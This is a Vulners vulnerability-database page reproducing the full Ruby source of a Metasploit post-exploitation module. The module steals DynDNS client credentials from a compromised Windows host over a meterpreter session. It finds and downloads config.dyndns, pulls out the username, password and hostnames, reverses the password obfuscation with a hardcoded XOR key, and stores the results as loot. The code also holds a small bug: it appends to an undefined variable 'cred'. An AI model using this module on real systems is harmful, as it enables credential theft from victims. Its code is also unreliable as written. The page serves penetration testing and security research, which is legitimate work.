Lucene search
+L

Windows Gather DynDNS Client Password Extractor

🗓️ 10 Oct 2011 21:41:36Reported by Shubham Dawra <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

This module extracts the username, password, and hosts for DynDNS version 4.1.8 by downloading the config.dyndns file from the victim machine and automatically decoding the password

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather DynDNS Client Password Extractor',
        'Description' => %q{
          This module extracts the username, password, and hosts for DynDNS version 4.1.8.
          This is done by downloading the config.dyndns file from the victim machine, and then
          automatically decode the password field. The original copy of the config file is also
          saved to disk.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Shubham Dawra <shubham2dawra[at]gmail.com>', # SecurityXploded.com
          'sinn3r', # Lots of code rewrite
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  #
  # Search for the config file.
  # Return the config file path, otherwise nil to indicate nothing was found
  #
  def get_config_file
    config_paths =
      [
        'C:\\ProgramData\\Dyn\\Updater\\', # Vista
        'C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\' # XP and else
      ]

    # Give me the first match
    config_file = nil
    config_paths.each do |p|
      tmp_path = p + 'config.dyndns'
      begin
        f = session.fs.file.stat(tmp_path)
        config_file = tmp_path
        break # We've found a valid one, break!
      rescue StandardError
      end
    end

    return config_file
  end

  #
  # Download the config file, and then load it up in memory.
  # Return the content.
  #
  def load_config_file(config_file)
    f = session.fs.file.new(config_file, 'rb')
    content = ''
    content << f.read until f.eof?
    p = store_loot('dyndns.raw', 'text/plain', session, 'dyndns_raw_config.dyndns')
    vprint_good("Raw config file saved: #{p}")
    return content
  end

  #
  # Parse the data
  # Return: Hash { :username, :pass, :hosts }
  #
  def parse_config(content)
    # Look at each line for user/pass/host
    config_data = {}
    user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
    pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
    host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]

    # Let's decode the pass
    pass = decode_password(pass) if !pass.nil?

    # Store data in a hash, save it to the array
    # Might contain nil if nothing was regexed
    config_data = {
      user: user,
      pass: pass,
      hosts: host
    }

    return config_data
  end

  #
  # Decode the password
  #
  def decode_password(pass)
    pass = [pass].pack('H*')
    s = ''
    c = 0

    pass.each_byte do |a1|
      a2 = 't6KzXhCh'[c, 1].unpack('c')[0].to_i
      s << (a1 ^ a2).chr
      c = ((c + 1) % 8)
    end

    return s
  end

  #
  # Print results and storeloot
  #
  def do_report(data)
    tbl = Rex::Text::Table.new(
      'Header' => 'DynDNS Client Data',
      'Indent' => 1,
      'Columns' => ['Field', 'Value']
    )

    creds = Rex::Text::Table.new(
      'Header' => 'DynDNS Credentials',
      'Indent' => 1,
      'Columns' => ['User', 'Password']
    )

    # Store username/password
    cred << [data[:user], data[:pass]]

    if !creds.rows.empty?
      p = store_loot(
        'dyndns.creds',
        'text/csv',
        session,
        creds.to_csv,
        'dyndns_creds.csv',
        'DynDNS Credentials'
      )
      print_status("Parsed creds stored in: #{p}")
    end

    # Store all found hosts
    hosts = data[:hosts]
    hosts.each do |host|
      tbl << ['Host', host]
    end

    print_status(tbl.to_s)

    if !tbl.rows.empty?
      p = store_loot(
        'dyndns.data',
        'text/plain',
        session,
        tbl.to_csv,
        'dyndns_data.csv',
        'DynDNS Client Data'
      )
      print_status("Parsed data stored in: #{p}")
    end
  end

  #
  # Main function, duh
  #
  def run
    # Find the config file
    config_file = get_config_file
    if config_file.nil?
      print_error('No config file found, will not continue')
      return
    end

    # Load the config file
    print_status('Downloading config.dyndns...')
    content = load_config_file(config_file)

    if content.empty?
      print_error('Config file seems empty, will not continue')
      return
    end

    # Get parsed data
    config = parse_config(content)

    # Store data
    do_report(config)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.1Low risk
Vulners AI Score0.1
55